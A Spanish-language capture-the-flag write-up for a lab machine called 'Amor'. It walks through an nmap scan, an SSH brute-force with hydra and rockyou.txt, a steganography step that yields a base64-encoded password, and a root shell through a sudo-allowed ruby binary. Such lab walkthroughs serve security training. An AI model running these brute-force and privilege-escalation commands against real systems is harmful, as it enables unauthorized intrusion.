> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/amor-write-up.md).

# Amor write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F5GnWE6oUYNlDU7cW5Rbd%2F1.png?alt=media&amp;token=d5f433cd-c9c0-46d0-a288-1edf6f83f552" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F7GdaOQ7lATLUpakUM0AQ%2F2.png?alt=media&amp;token=7751c97e-9cac-4cbf-87fe-38fa12da532c" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que introducimos la IP de la máquina víctima en el navegador y vemos lo siguiente:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FabDnVGdbP60qFaPA83r2%2F3.png?alt=media&amp;token=6e6552e7-55ea-4042-b2d3-5f872e2c31ab" alt=""><figcaption></figcaption></figure>

Si nos fijamos, observamos que aparece el nombre de Juan, un ex-empleado y Carlota, así que vamos a intentar a hacer un ataque de fuerza bruta con **hydra**, primero vamos a introducir en un fichero de texto el nombre de Carlota y Juan, importante poner dos veces el nombre con la primera en minúscula y la segunda en mayúscula. Y ahora solo ejecutaremos el ataque de fuerza bruta con el siguiente comando:

```bash
hydra -L usuarios.txt -P ../rockyou.txt -I ssh://172.17.0.2 -V -F -u
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FxHJOw264Up3H7hhtsl7C%2F4.png?alt=media&amp;token=4d7abd33-a523-4ac4-9894-e6f29d37d6c8" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña de `carlota` es `babygirl`. Así que entramos en la máquina con esas credenciales.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FrO3i4nxAyuGhjtDtz1md%2F5.png?alt=media&amp;token=ee8ca5ca-dc9f-49a8-8782-b245b38453fc" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima como usuario `carlota`, observamos que en el directorio `/home/carlota/Desktop/fotos/vacaciones` se encuentra una imagen llamada `imagen.jpg`, así que nos la descargamos en nuestra máquina local con el siguiente comando:

```bash
scp carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg .
```

Y ahora con la herramienta **steghide** comprobaremos si en la imagen hay un archivo oculto con el siguiente comando:

```bash
 steghide extract -sf imagen.jpg 
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FnzNo6AAPRmKHWYEyzZ5B%2F6.png?alt=media&amp;token=b1494992-5a38-421b-a942-f24d0169a4d6" alt=""><figcaption></figcaption></figure>

Y observamos que nos extrae el fichero `secret.txt`, el cual contiene `ZXNsYWNhc2FkZXBpbnlwb24=` que está encriptado en **base64**, así que lo desencriptamos con el siguiente comando:

```bash
echo "ZXNsYWNhc2FkZXBpbnlwb24=" | base64 -d
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FeajvfLT7tFx3BxgT6itM%2F7.png?alt=media&amp;token=c45f5dcf-3a6a-42af-aab9-a4df247b9784" alt=""><figcaption></figcaption></figure>

Esto indica que `eslacasadepinypon` corresponde a `ZXNsYWNhc2FkZXBpbnlwb24=` en base64. Así que intentamos iniciar sesión como el usuario oscar con esa contraseña:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FLI5vo600DesjnQyhElS3%2F8.png?alt=media&amp;token=93990331-9dc0-4177-8792-2cbb51345a53" alt=""><figcaption></figcaption></figure>

Una vez somo el usuario oscar, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/ruby` como cualquier usuario. Así que vamos a ejecutar en siguiente comando para obtener un shell con privilegios elevados:

```bash
sudo /usr/bin/ruby -e 'exec "/bin/bash"'
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F8Ucni1Mjs4oZxw5kcgyb%2F9.png?alt=media&amp;token=75a5d108-6a37-443a-ba99-e4f286ee4504" alt=""><figcaption></figcaption></figure>
